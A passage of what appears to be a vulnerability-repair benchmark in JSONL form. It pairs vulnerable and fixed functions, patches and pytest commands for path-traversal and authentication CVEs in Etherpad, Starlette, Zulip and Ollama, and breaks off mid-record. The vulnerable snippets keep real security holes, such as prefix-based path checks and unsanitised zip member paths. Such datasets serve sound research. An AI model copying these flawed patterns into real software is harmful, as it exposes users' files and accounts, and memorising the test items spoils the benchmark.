(LIBRARY_WHITELIST.indexOf(library) != -1) {\n      // Go straight into node_modules\n      // Avoid `require.resolve()`, since 'mustache' and 'mustache/index.js'\n      // would end up resolving to logically distinct resources.\n      filename = '../node_modules/' + library + libraryPath;\n    }\n  }\n\n  // What content type should this be?\n  // TODO: This should use a MIME module.\n  var contentType;\n  if (filename.match(/\\.js$/)) {\n    contentType = \"text/javascript\";\n  } else if (filename.match(/\\.css$/)) {\n    contentType = \"text/css\";\n  } else if (filename.match(/\\.html$/)) {\n    contentType = \"text/html\";\n  } else if (filename.match(/\\.txt$/)) {\n    contentType = \"text/plain\";\n  } else if (filename.match(/\\.png$/)) {\n    contentType = \"image/png\";\n  } else if (filename.match(/\\.gif$/)) {\n    contentType = \"image/gif\";\n  } else if (filename.match(/\\.ico$/)) {\n    contentType = \"image/x-icon\";\n  } else {\n    contentType = \"application/octet-stream\";\n  }\n\n  statFile(filename, function (error, date, exists) {\n    if (date) {\n      date = new Date(date);\n      res.setHeader('last-modified', date.toUTCString());\n      res.setHeader('date', (new Date()).toUTCString());\n      if (settings.maxAge !== undefined) {\n        var expiresDate = new Date((new Date()).getTime()+settings.maxAge*1000);\n        res.setHeader('expires', expiresDate.toUTCString());\n        res.setHeader('cache-control', 'max-age=' + settings.maxAge);\n      }\n    }\n\n    if (error) {\n      res.writeHead(500, {});\n      res.end();\n    } else if (!exists) {\n      res.writeHead(404, {});\n      res.end();\n    } else if (new Date(req.headers['if-modified-since']) >= date) {\n      res.writeHead(304, {});\n      res.end();\n    } else {\n      if (req.method == 'HEAD') {\n        res.header(\"Content-Type\", contentType);\n        res.writeHead(200, {});\n        res.end();\n      } else if (req.method == 'GET') {\n        getFileCompressed(filename, contentType, function (error, content) {\n          if(ERR(error, function(){\n            res.writeHead(500, {});\n            res.end();\n          })) return;\n          res.header(\"Content-Type\", contentType);\n          res.writeHead(200, {});\n          res.write(content);\n          res.end();\n        });\n      } else {\n        res.writeHead(405, {'allow': 'HEAD, GET'});\n        res.end();\n      }\n    }\n  });\n}"}], "vul_patch": "--- a/src/node/utils/Minify.js\n+++ b/src/node/utils/Minify.js\n@@ -26,7 +26,6 @@\n       var plugin = plugins.plugins[library];\n       var pluginPath = plugin.package.realPath;\n       filename = path.relative(ROOT_DIR, pluginPath + libraryPath);\n-      filename = filename.replace(/\\\\/g, '/'); // Windows (safe generally?)\n     } else if (LIBRARY_WHITELIST.indexOf(library) != -1) {\n       // Go straight into node_modules\n       // Avoid `require.resolve()`, since 'mustache' and 'mustache/index.js'\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2023-29159", "cve_description": "Directory traversal vulnerability in Starlette versions 0.13.5 and later and prior to 0.27.0 allows a remote unauthenticated attacker to view files in a web service which was built using Starlette.", "cwe_info": {"CWE-73": {"name": "External Control of File Name or Path", "description": "The product allows user input to control or influence paths or file names that are used in filesystem operations."}, "CWE-22": {"name": "Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')", "description": "The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory."}}, "repo": "https://github.com/encode/starlette", "patch_url": ["https://github.com/encode/starlette/commit/1797de464124b090f10cf570441e8292936d63e3"], "programing_language": "Python", "vul_func": [{"id": "vul_py_58_1", "commit": "24c1fac", "file_path": "starlette/staticfiles.py", "start_line": 162, "end_line": 180, "snippet": "    def lookup_path(\n        self, path: str\n    ) -> typing.Tuple[str, typing.Optional[os.stat_result]]:\n        for directory in self.all_directories:\n            joined_path = os.path.join(directory, path)\n            if self.follow_symlink:\n                full_path = os.path.abspath(joined_path)\n            else:\n                full_path = os.path.realpath(joined_path)\n            directory = os.path.realpath(directory)\n            if os.path.commonprefix([full_path, directory]) != directory:\n                # Don't allow misbehaving clients to break out of the static files\n                # directory.\n                continue\n            try:\n                return full_path, os.stat(full_path)\n            except (FileNotFoundError, NotADirectoryError):\n                continue\n        return \"\", None"}], "fix_func": [{"id": "fix_py_58_1", "commit": "1797de4", "file_path": "starlette/staticfiles.py", "start_line": 162, "end_line": 180, "snippet": "    def lookup_path(\n        self, path: str\n    ) -> typing.Tuple[str, typing.Optional[os.stat_result]]:\n        for directory in self.all_directories:\n            joined_path = os.path.join(directory, path)\n            if self.follow_symlink:\n                full_path = os.path.abspath(joined_path)\n            else:\n                full_path = os.path.realpath(joined_path)\n            directory = os.path.realpath(directory)\n            if os.path.commonpath([full_path, directory]) != directory:\n                # Don't allow misbehaving clients to break out of the static files\n                # directory.\n                continue\n            try:\n                return full_path, os.stat(full_path)\n            except (FileNotFoundError, NotADirectoryError):\n                continue\n        return \"\", None"}], "vul_patch": "--- a/starlette/staticfiles.py\n+++ b/starlette/staticfiles.py\n@@ -8,7 +8,7 @@\n             else:\n                 full_path = os.path.realpath(joined_path)\n             directory = os.path.realpath(directory)\n-            if os.path.commonprefix([full_path, directory]) != directory:\n+            if os.path.commonpath([full_path, directory]) != directory:\n                 # Don't allow misbehaving clients to break out of the static files\n                 # directory.\n                 continue\n\n", "poc_test_cmd": "#!/bin/bash\n# From ghcr.io/anonymous2578-data/cve-2023-29159:latest\n# bash /workspace/fix-run.sh\nset -e\n\ncd /workspace/starlette\ngit apply --whitespace=nowarn /workspace/test.patch /workspace/fix.patch\n/workspace/PoC_env/CVE-2023-29159/bin/python -m pytest tests/test_staticfiles.py::test_staticfiles_avoids_path_traversal tests/test_staticfiles.py::test_staticfiles_with_pathlib\n", "unit_test_cmd": "#!/bin/bash\n# From ghcr.io/anonymous2578-data/cve-2023-29159:latest\n# bash /workspace/unit_test.sh\nset -e\n\ncd /workspace/starlette\ngit apply --whitespace=nowarn /workspace/fix.patch\n/workspace/PoC_env/CVE-2023-29159/bin/python -m pytest tests/test_staticfiles.py -v -k \"not test_staticfiles_with_invalid_dir_permissions_returns_401\" \n"}
{"cve_id": "CVE-2017-0910", "cve_description": "In Zulip Server before 1.7.1, on a server with multiple realms, a vulnerability in the invitation system lets an authorized user of one realm on the server create a user account on any other realm.", "cwe_info": {"CWE-287": {"name": "Improper Authentication", "description": "When an actor claims to have a given identity, the product does not prove or insufficiently proves that the claim is correct."}}, "repo": "https://github.com/zulip/zulip", "patch_url": ["https://github.com/zulip/zulip/commit/960d736e55cbb9386a68e4ee45f80581fd2a4e32"], "programing_language": "Python", "vul_func": [{"id": "vul_py_362_1", "commit": "28a3dcf787b489d155bd27765f1aed5e7a1f44a9", "file_path": "zerver/views/registration.py", "start_line": 70, "end_line": 283, "snippet": "def accounts_register(request):\n    # type: (HttpRequest) -> HttpResponse\n    key = request.POST['key']\n    confirmation = Confirmation.objects.get(confirmation_key=key)\n    prereg_user = confirmation.content_object\n    email = prereg_user.email\n    realm_creation = prereg_user.realm_creation\n    password_required = prereg_user.password_required\n\n    validators.validate_email(email)\n    if realm_creation:\n        # For creating a new realm, there is no existing realm or domain\n        realm = None\n    else:\n        realm = get_realm(get_subdomain(request))\n        if prereg_user.realm is not None and prereg_user.realm != realm:\n            return render(request, 'confirmation/link_does_not_exist.html')\n\n    if realm and not email_allowed_for_realm(email, realm):\n        return render(request, \"zerver/closed_realm.html\",\n                      context={\"closed_domain_name\": realm.name})\n\n    if realm and realm.deactivated:\n        # The user is trying to register for a deactivated realm. Advise them to\n        # contact support.\n        return redirect_to_deactivation_notice()\n\n    try:\n        validate_email_for_realm(realm, email)\n    except ValidationError:\n        return HttpResponseRedirect(reverse('django.contrib.auth.views.login') + '?email=' +\n                                    urllib.parse.quote_plus(email))\n\n    name_validated = False\n    full_name = None\n\n    if request.POST.get('from_confirmation'):\n        try:\n            del request.session['authenticated_full_name']\n        except KeyError:\n            pass\n        if realm is not None and realm.is_zephyr_mirror_realm:\n            # For MIT users, we can get an authoritative name from Hesiod.\n            # Technically we should check that this is actually an MIT\n            # realm, but we can cross that bridge if we ever get a non-MIT\n            # zephyr mirroring realm.\n            hesiod_name = compute_mit_user_fullname(email)\n            form = RegistrationForm(\n                initial={'full_name': hesiod_name if \"@\" not in hesiod_name else \"\"},\n                realm_creation=realm_creation)\n            name_validated = True\n        elif settings.POPULATE_PROFILE_VIA_LDAP:\n            for backend in get_backends():\n                if isinstance(backend, LDAPBackend):\n                    ldap_attrs = _LDAPUser(backend, backend.django_to_ldap_username(email)).attrs\n                    try:\n                        ldap_full_name = ldap_attrs[settings.AUTH_LDAP_USER_ATTR_MAP['full_name']][0]\n                        request.session['authenticated_full_name'] = ldap_full_name\n                        name_validated = True\n                        # We don't use initial= here, because if the form is\n                        # complete (that is, no additional fields need to be\n                        # filled out by the user) we want the form to validate,\n                        # so they can be directly registered without having to\n                        # go through this interstitial.\n                        form = RegistrationForm({'full_name': ldap_full_name},\n                                                realm_creation=realm_creation)\n                        # FIXME: This will result in the user getting\n                        # validation errors if they have to enter a password.\n                        # Not relevant for ONLY_SSO, though.\n                        break\n                    except TypeError:\n                        # Let the user fill out a name and/or try another backend\n                        form = RegistrationForm(realm_creation=realm_creation)\n        elif 'full_name' in request.POST:\n            form = RegistrationForm(\n                initial={'full_name': request.POST.get('full_name')},\n                realm_creation=realm_creation\n            )\n        else:\n            form = RegistrationForm(realm_creation=realm_creation)\n    else:\n        postdata = request.POST.copy()\n        if name_changes_disabled(realm):\n            # If we populate profile information via LDAP and we have a\n            # verified name from you on file, use that. Otherwise, fall\n            # back to the full name in the request.\n            try:\n                postdata.update({'full_name': request.session['authenticated_full_name']})\n                name_validated = True\n            except KeyError:\n                pass\n        form = RegistrationForm(postdata, realm_creation=realm_creation)\n        if not (password_auth_enabled(realm) and password_required):\n            form['password'].field.required = False\n\n    if form.is_valid():\n        if password_auth_enabled(realm):\n            password = form.cleaned_data['password']\n        else:\n            # SSO users don't need no passwords\n            password = None\n\n        if realm_creation:\n            string_id = form.cleaned_data['realm_subdomain']\n            realm_name = form.cleaned_data['realm_name']\n            realm = do_create_realm(string_id, realm_name)\n            setup_initial_streams(realm)\n        assert(realm is not None)\n\n        full_name = form.cleaned_data['full_name']\n        short_name = email_to_username(email)\n\n        timezone = u\"\"\n        if 'timezone' in request.POST and request.POST['timezone'] in get_all_timezones():\n            timezone = request.POST['timezone']\n\n        try:\n            existing_user_profile = get_user_profile_by_email(email)\n        except UserProfile.DoesNotExist:\n            existing_user_profile = None\n\n        return_data = {}  # type: Dict[str, bool]\n        if ldap_auth_enabled(realm):\n            # If the user was authenticated using an external SSO\n            # mechanism like Google or GitHub auth, then authentication\n            # will have already been done before creating the\n            # PreregistrationUser object with password_required=False, and\n            # so we don't need to worry about passwords.\n            #\n            # If instead the realm is using EmailAuthBackend, we will\n            # set their password above.\n            #\n            # But if the realm is using LDAPAuthBackend, we need to verify\n            # their LDAP password (which will, as a side effect, create\n            # the user account) here using authenticate.\n            auth_result = authenticate(request,\n                                       username=email,\n                                       password=password,\n                                       realm_subdomain=realm.subdomain,\n                                       return_data=return_data)\n            if auth_result is None:\n                # TODO: This probably isn't going to give a\n                # user-friendly error message, but it doesn't\n                # particularly matter, because the registration form\n                # is hidden for most users.\n                return HttpResponseRedirect(reverse('django.contrib.auth.views.login') + '?email=' +\n                                            urllib.parse.quote_plus(email))\n\n            # Since we'll have created a user, we now just log them in.\n            return login_and_go_to_home(request, auth_result)\n        elif existing_user_profile is not None and existing_user_profile.is_mirror_dummy:\n            user_profile = existing_user_profile\n            do_activate_user(user_profile)\n            do_change_password(user_profile, password)\n            do_change_full_name(user_profile, full_name, user_profile)\n            do_set_user_display_setting(user_profile, 'timezone', timezone)\n        else:\n            user_profile = do_create_user(email, password, realm, full_name, short_name,\n                                          prereg_user=prereg_user, is_realm_admin=realm_creation,\n                                          tos_version=settings.TOS_VERSION,\n                                          timezone=timezone,\n                                          newsletter_data={\"IP\": request.META['REMOTE_ADDR']})\n\n        # Note: Any logic like this must also be replicated in\n        # ZulipLDAPAuthBackend and zerver/views/users.py.  This is\n        # ripe for a refactoring, though care is required to avoid\n        # import loops with zerver/lib/actions.py and zerver/lib/onboarding.py.\n        send_initial_pms(user_profile)\n\n        if realm_creation:\n            setup_initial_private_stream(user_profile)\n            send_initial_realm_messages(realm)\n\n        if realm_creation:\n            # Because for realm creation, registration happens on the\n            # root domain, we need to log them into the subdomain for\n            # their new realm.\n            return redirect_and_log_into_subdomain(realm, full_name, email)\n\n        # This dummy_backend check below confirms the user is\n        # authenticating to the correct subdomain.\n        auth_result = authenticate(username=user_profile.email,\n                                   realm_subdomain=realm.subdomain,\n                                   return_data=return_data,\n                                   use_dummy_backend=True)\n        if return_data.get('invalid_subdomain'):\n            # By construction, this should never happen.\n            logging.error(\"Subdomain mismatch in registration %s: %s\" % (\n                realm.subdomain, user_profile.email,))\n            return redirect('/')\n\n        return login_and_go_to_home(request, auth_result)\n\n    return render(\n        request,\n        'zerver/register.html',\n        context={'form': form,\n                 'email': email,\n                 'key': key,\n                 'full_name': request.session.get('authenticated_full_name', None),\n                 'lock_name': name_validated and name_changes_disabled(realm),\n                 # password_auth_enabled is normally set via our context processor,\n                 # but for the registration form, there is no logged in user yet, so\n                 # we have to set it here.\n                 'creating_new_team': realm_creation,\n                 'password_required': password_auth_enabled(realm) and password_required,\n                 'password_auth_enabled': password_auth_enabled(realm),\n                 'root_domain_available': is_root_domain_available(),\n                 'MAX_REALM_NAME_LENGTH': str(Realm.MAX_REALM_NAME_LENGTH),\n                 'MAX_NAME_LENGTH': str(UserProfile.MAX_NAME_LENGTH),\n                 'MAX_PASSWORD_LENGTH': str(form.MAX_PASSWORD_LENGTH),\n                 'MAX_REALM_SUBDOMAIN_LENGTH': str(Realm.MAX_REALM_SUBDOMAIN_LENGTH)\n                 }\n    )"}], "fix_func": [{"id": "fix_py_362_1", "commit": "960d736e55cbb9386a68e4ee45f80581fd2a4e32", "file_path": "zerver/views/registration.py", "start_line": 70, "end_line": 285, "snippet": "def accounts_register(request):\n    # type: (HttpRequest) -> HttpResponse\n    key = request.POST['key']\n    confirmation = Confirmation.objects.get(confirmation_key=key)\n    prereg_user = confirmation.content_object\n    email = prereg_user.email\n    realm_creation = prereg_user.realm_creation\n    password_required = prereg_user.password_required\n\n    validators.validate_email(email)\n    if realm_creation:\n        # For creating a new realm, there is no existing realm or domain\n        realm = None\n    else:\n        realm = get_realm(get_subdomain(request))\n        if prereg_user.realm is None:\n            return render(request, 'confirmation/link_expired.html')\n        if prereg_user.realm != realm:\n            return render(request, 'confirmation/link_does_not_exist.html')\n\n    if realm and not email_allowed_for_realm(email, realm):\n        return render(request, \"zerver/closed_realm.html\",\n                      context={\"closed_domain_name\": realm.name})\n\n    if realm and realm.deactivated:\n        # The user is trying to register for a deactivated realm. Advise them to\n        # contact support.\n        return redirect_to_deactivation_notice()\n\n    try:\n        validate_email_for_realm(realm, email)\n    except ValidationError:\n        return HttpResponseRedirect(reverse('django.contrib.auth.views.login') + '?email=' +\n                                    urllib.parse.quote_plus(email))\n\n    name_validated = False\n    full_name = None\n\n    if request.POST.get('from_confirmation'):\n        try:\n            del request.session['authenticated_full_name']\n        except KeyError:\n            pass\n        if realm is not None and realm.is_zephyr_mirror_realm:\n            # For MIT users, we can get an authoritative name from Hesiod.\n            # Technically we should check that this is actually an MIT\n            # realm, but we can cross that bridge if we ever get a non-MIT\n            # zephyr mirroring realm.\n            hesiod_name = compute_mit_user_fullname(email)\n            form = RegistrationForm(\n                initial={'full_name': hesiod_name if \"@\" not in hesiod_name else \"\"},\n                realm_creation=realm_creation)\n            name_validated = True\n        elif settings.POPULATE_PROFILE_VIA_LDAP:\n            for backend in get_backends():\n                if isinstance(backend, LDAPBackend):\n                    ldap_attrs = _LDAPUser(backend, backend.django_to_ldap_username(email)).attrs\n                    try:\n                        ldap_full_name = ldap_attrs[settings.AUTH_LDAP_USER_ATTR_MAP['full_name']][0]\n                        request.session['authenticated_full_name'] = ldap_full_name\n                        name_validated = True\n                        # We don't use initial= here, because if the form is\n                        # complete (that is, no additional fields need to be\n                        # filled out by the user) we want the form to validate,\n                        # so they can be directly registered without having to\n                        # go through this interstitial.\n                        form = RegistrationForm({'full_name': ldap_full_name},\n                                                realm_creation=realm_creation)\n                        # FIXME: This will result in the user getting\n                        # validation errors if they have to enter a password.\n                        # Not relevant for ONLY_SSO, though.\n                        break\n                    except TypeError:\n                        # Let the user fill out a name and/or try another backend\n                        form = RegistrationForm(realm_creation=realm_creation)\n        elif 'full_name' in request.POST:\n            form = RegistrationForm(\n                initial={'full_name': request.POST.get('full_name')},\n                realm_creation=realm_creation\n            )\n        else:\n            form = RegistrationForm(realm_creation=realm_creation)\n    else:\n        postdata = request.POST.copy()\n        if name_changes_disabled(realm):\n            # If we populate profile information via LDAP and we have a\n            # verified name from you on file, use that. Otherwise, fall\n            # back to the full name in the request.\n            try:\n                postdata.update({'full_name': request.session['authenticated_full_name']})\n                name_validated = True\n            except KeyError:\n                pass\n        form = RegistrationForm(postdata, realm_creation=realm_creation)\n        if not (password_auth_enabled(realm) and password_required):\n            form['password'].field.required = False\n\n    if form.is_valid():\n        if password_auth_enabled(realm):\n            password = form.cleaned_data['password']\n        else:\n            # SSO users don't need no passwords\n            password = None\n\n        if realm_creation:\n            string_id = form.cleaned_data['realm_subdomain']\n            realm_name = form.cleaned_data['realm_name']\n            realm = do_create_realm(string_id, realm_name)\n            setup_initial_streams(realm)\n        assert(realm is not None)\n\n        full_name = form.cleaned_data['full_name']\n        short_name = email_to_username(email)\n\n        timezone = u\"\"\n        if 'timezone' in request.POST and request.POST['timezone'] in get_all_timezones():\n            timezone = request.POST['timezone']\n\n        try:\n            existing_user_profile = get_user_profile_by_email(email)\n        except UserProfile.DoesNotExist:\n            existing_user_profile = None\n\n        return_data = {}  # type: Dict[str, bool]\n        if ldap_auth_enabled(realm):\n            # If the user was authenticated using an external SSO\n            # mechanism like Google or GitHub auth, then authentication\n            # will have already been done before creating the\n            # PreregistrationUser object with password_required=False, and\n            # so we don't need to worry about passwords.\n            #\n            # If instead the realm is using EmailAuthBackend, we will\n            # set their password above.\n            #\n            # But if the realm is using LDAPAuthBackend, we need to verify\n            # their LDAP password (which will, as a side effect, create\n            # the user account) here using authenticate.\n            auth_result = authenticate(request,\n                                       username=email,\n                                       password=password,\n                                       realm_subdomain=realm.subdomain,\n                                       return_data=return_data)\n            if auth_result is None:\n                # TODO: This probably isn't going to give a\n                # user-friendly error message, but it doesn't\n                # particularly matter, because the registration form\n                # is hidden for most users.\n                return HttpResponseRedirect(reverse('django.contrib.auth.views.login') + '?email=' +\n                                            urllib.parse.quote_plus(email))\n\n            # Since we'll have created a user, we now just log them in.\n            return login_and_go_to_home(request, auth_result)\n        elif existing_user_profile is not None and existing_user_profile.is_mirror_dummy:\n            user_profile = existing_user_profile\n            do_activate_user(user_profile)\n            do_change_password(user_profile, password)\n            do_change_full_name(user_profile, full_name, user_profile)\n            do_set_user_display_setting(user_profile, 'timezone', timezone)\n        else:\n            user_profile = do_create_user(email, password, realm, full_name, short_name,\n                                          prereg_user=prereg_user, is_realm_admin=realm_creation,\n                                          tos_version=settings.TOS_VERSION,\n                                          timezone=timezone,\n                                          newsletter_data={\"IP\": request.META['REMOTE_ADDR']})\n\n        # Note: Any logic like this must also be replicated in\n        # ZulipLDAPAuthBackend and zerver/views/users.py.  This is\n        # ripe for a refactoring, though care is required to avoid\n        # import loops with zerver/lib/actions.py and zerver/lib/onboarding.py.\n        send_initial_pms(user_profile)\n\n        if realm_creation:\n            setup_initial_private_stream(user_profile)\n            send_initial_realm_messages(realm)\n\n        if realm_creation:\n            # Because for realm creation, registration happens on the\n            # root domain, we need to log them into the subdomain for\n            # their new realm.\n            return redirect_and_log_into_subdomain(realm, full_name, email)\n\n        # This dummy_backend check below confirms the user is\n        # authenticating to the correct subdomain.\n        auth_result = authenticate(username=user_profile.email,\n                                   realm_subdomain=realm.subdomain,\n                                   return_data=return_data,\n                                   use_dummy_backend=True)\n        if return_data.get('invalid_subdomain'):\n            # By construction, this should never happen.\n            logging.error(\"Subdomain mismatch in registration %s: %s\" % (\n                realm.subdomain, user_profile.email,))\n            return redirect('/')\n\n        return login_and_go_to_home(request, auth_result)\n\n    return render(\n        request,\n        'zerver/register.html',\n        context={'form': form,\n                 'email': email,\n                 'key': key,\n                 'full_name': request.session.get('authenticated_full_name', None),\n                 'lock_name': name_validated and name_changes_disabled(realm),\n                 # password_auth_enabled is normally set via our context processor,\n                 # but for the registration form, there is no logged in user yet, so\n                 # we have to set it here.\n                 'creating_new_team': realm_creation,\n                 'password_required': password_auth_enabled(realm) and password_required,\n                 'password_auth_enabled': password_auth_enabled(realm),\n                 'root_domain_available': is_root_domain_available(),\n                 'MAX_REALM_NAME_LENGTH': str(Realm.MAX_REALM_NAME_LENGTH),\n                 'MAX_NAME_LENGTH': str(UserProfile.MAX_NAME_LENGTH),\n                 'MAX_PASSWORD_LENGTH': str(form.MAX_PASSWORD_LENGTH),\n                 'MAX_REALM_SUBDOMAIN_LENGTH': str(Realm.MAX_REALM_SUBDOMAIN_LENGTH)\n                 }\n    )"}], "vul_patch": "--- a/zerver/views/registration.py\n+++ b/zerver/views/registration.py\n@@ -13,7 +13,9 @@\n         realm = None\n     else:\n         realm = get_realm(get_subdomain(request))\n-        if prereg_user.realm is not None and prereg_user.realm != realm:\n+        if prereg_user.realm is None:\n+            return render(request, 'confirmation/link_expired.html')\n+        if prereg_user.realm != realm:\n             return render(request, 'confirmation/link_does_not_exist.html')\n \n     if realm and not email_allowed_for_realm(email, realm):\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2024-45436", "cve_description": "extractFromZipFile in model.go in Ollama before 0.1.47 can extract members of a ZIP archive outside of the parent directory.", "cwe_info": {"CWE-73": {"name": "External Control of File Name or Path", "description": "The product allows user input to control or influence paths or file names that are used in filesystem operations."}, "CWE-22": {"name": "Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')", "description": "The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory."}}, "repo": "https://github.com/ollama/ollama", "patch_url": ["https://github.com/ollama/ollama/commit/123a722a6f541e300bc8e34297ac378ebe23f527"], "programing_language": "Go", "vul_func": [{"id": "vul_go_274_1", "commit": "4d311eb731bb59512bcd17f1f33d60f3d9022837", "file_path": "server/model.go", "start_line": 80, "end_line": 188, "snippet": "func parseFromZipFile(_ context.Context, file *os.File, digest string, fn func(api.ProgressResponse)) (layers []*layerGGML, err error) {\n\tstat, err := file.Stat()\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tr, err := zip.NewReader(file, stat.Size())\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\ttempdir, err := os.MkdirTemp(filepath.Dir(file.Name()), \"\")\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tdefer os.RemoveAll(tempdir)\n\n\tfn(api.ProgressResponse{Status: \"unpacking model metadata\"})\n\tfor _, f := range r.File {\n\t\t// TODO(mxyng): this should not write out all files to disk\n\t\toutfile, err := os.Create(filepath.Join(tempdir, f.Name))\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\tdefer outfile.Close()\n\n\t\tinfile, err := f.Open()\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\tdefer infile.Close()\n\n\t\tif _, err = io.Copy(outfile, infile); err != nil {\n\t\t\treturn nil, err\n\t\t}\n\n\t\tif err := outfile.Close(); err != nil {\n\t\t\treturn nil, err\n\t\t}\n\n\t\tif err := infile.Close(); err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t}\n\n\tmf, err := convert.GetModelFormat(tempdir)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tparams, err := mf.GetParams(tempdir)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tmArch, err := mf.GetModelArch(\"\", tempdir, params)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tfn(api.ProgressResponse{Status: \"processing tensors\"})\n\tif err := mArch.GetTensors(); err != nil {\n\t\treturn nil, err\n\t}\n\n\tif err := mArch.LoadVocab(); err != nil {\n\t\treturn nil, err\n\t}\n\n\tfn(api.ProgressResponse{Status: \"converting model\"})\n\n\t// TODO(mxyng): this should write directly into a layer\n\t// e.g. NewLayer(arch.Reader(), \"application/vnd.ollama.image.model\")\n\ttemp, err := os.CreateTemp(tempdir, \"fp16\")\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tdefer temp.Close()\n\tdefer os.Remove(temp.Name())\n\n\tif err = mArch.WriteGGUF(temp); err != nil {\n\t\treturn nil, err\n\t}\n\n\tif _, err := temp.Seek(0, io.SeekStart); err != nil {\n\t\treturn nil, err\n\t}\n\n\tlayer, err := NewLayer(temp, \"application/vnd.ollama.image.model\")\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tbin, err := layer.Open()\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tdefer bin.Close()\n\n\tggml, _, err := llm.DecodeGGML(bin, 0)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tlayers = append(layers, &layerGGML{layer, ggml})\n\n\tintermediateBlobs[digest] = layer.Digest\n\treturn detectChatTemplate(layers)\n}"}, {"id": "vul_go_274_2", "commit": "4d311eb731bb59512bcd17f1f33d60f3d9022837", "file_path": "cmd/cmd.go", "start_line": 158, "end_line": 264, "snippet": "func tempZipFiles(path string) (string, error) {\n\ttempfile, err := os.CreateTemp(\"\", \"ollama-tf\")\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\tdefer tempfile.Close()\n\n\tzipfile := zip.NewWriter(tempfile)\n\tdefer zipfile.Close()\n\n\tdetectContentType := func(path string) (string, error) {\n\t\tf, err := os.Open(path)\n\t\tif err != nil {\n\t\t\treturn \"\", err\n\t\t}\n\t\tdefer f.Close()\n\n\t\tvar b bytes.Buffer\n\t\tb.Grow(512)\n\n\t\tif _, err := io.CopyN(&b, f, 512); err != nil && !errors.Is(err, io.EOF) {\n\t\t\treturn \"\", err\n\t\t}\n\n\t\tcontentType, _, _ := strings.Cut(http.DetectContentType(b.Bytes()), \";\")\n\t\treturn contentType, nil\n\t}\n\n\tglob := func(pattern, contentType string) ([]string, error) {\n\t\tmatches, err := filepath.Glob(pattern)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\n\t\tfor _, safetensor := range matches {\n\t\t\tif ct, err := detectContentType(safetensor); err != nil {\n\t\t\t\treturn nil, err\n\t\t\t} else if ct != contentType {\n\t\t\t\treturn nil, fmt.Errorf(\"invalid content type: expected %s for %s\", ct, safetensor)\n\t\t\t}\n\t\t}\n\n\t\treturn matches, nil\n\t}\n\n\tvar files []string\n\tif st, _ := glob(filepath.Join(path, \"model*.safetensors\"), \"application/octet-stream\"); len(st) > 0 {\n\t\t// safetensors files might be unresolved git lfs references; skip if they are\n\t\t// covers model-x-of-y.safetensors, model.fp32-x-of-y.safetensors, model.safetensors\n\t\tfiles = append(files, st...)\n\t} else if pt, _ := glob(filepath.Join(path, \"pytorch_model*.bin\"), \"application/zip\"); len(pt) > 0 {\n\t\t// pytorch files might also be unresolved git lfs references; skip if they are\n\t\t// covers pytorch_model-x-of-y.bin, pytorch_model.fp32-x-of-y.bin, pytorch_model.bin\n\t\tfiles = append(files, pt...)\n\t} else if pt, _ := glob(filepath.Join(path, \"consolidated*.pth\"), \"application/zip\"); len(pt) > 0 {\n\t\t// pytorch files might also be unresolved git lfs references; skip if they are\n\t\t// covers consolidated.x.pth, consolidated.pth\n\t\tfiles = append(files, pt...)\n\t} else {\n\t\treturn \"\", errors.New(\"no safetensors or torch files found\")\n\t}\n\n\t// add configuration files, json files are detected as text/plain\n\tjs, err := glob(filepath.Join(path, \"*.json\"), \"text/plain\")\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\tfiles = append(files, js...)\n\n\tif tks, _ := glob(filepath.Join(path, \"tokenizer.model\"), \"application/octet-stream\"); len(tks) > 0 {\n\t\t// add tokenizer.model if it exists, tokenizer.json is automatically picked up by the previous glob\n\t\t// tokenizer.model might be a unresolved git lfs reference; error if it is\n\t\tfiles = append(files, tks...)\n\t} else if tks, _ := glob(filepath.Join(path, \"**/tokenizer.model\"), \"text/plain\"); len(tks) > 0 {\n\t\t// some times tokenizer.model is in a subdirectory (e.g. meta-llama/Meta-Llama-3-8B)\n\t\tfiles = append(files, tks...)\n\t}\n\n\tfor _, file := range files {\n\t\tf, err := os.Open(file)\n\t\tif err != nil {\n\t\t\treturn \"\", err\n\t\t}\n\t\tdefer f.Close()\n\n\t\tfi, err := f.Stat()\n\t\tif err != nil {\n\t\t\treturn \"\", err\n\t\t}\n\n\t\tzfi, err := zip.FileInfoHeader(fi)\n\t\tif err != nil {\n\t\t\treturn \"\", err\n\t\t}\n\n\t\tzf, err := zipfile.CreateHeader(zfi)\n\t\tif err != nil {\n\t\t\treturn \"\", err\n\t\t}\n\n\t\tif _, err := io.Copy(zf, f); err != nil {\n\t\t\treturn \"\", err\n\t\t}\n\t}\n\n\treturn tempfile.Name(), nil\n}"}], "fix_func": [{"id": "fix_go_274_1", "commit": "123a722a6f541e300bc8e34297ac378ebe23f527", "file_path": "server/model.go", "start_line": 133, "end_line": 207, "snippet": "func parseFromZipFile(_ context.Context, file *os.File, digest string, fn func(api.ProgressResponse)) (layers []*layerGGML, err error) {\n\ttempDir, err := os.MkdirTemp(filepath.Dir(file.Name()), \"\")\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tdefer os.RemoveAll(tempDir)\n\n\tif err := extractFromZipFile(tempDir, file, fn); err != nil {\n\t\treturn nil, err\n\t}\n\n\tmf, err := convert.GetModelFormat(tempDir)\n\tif err != nil 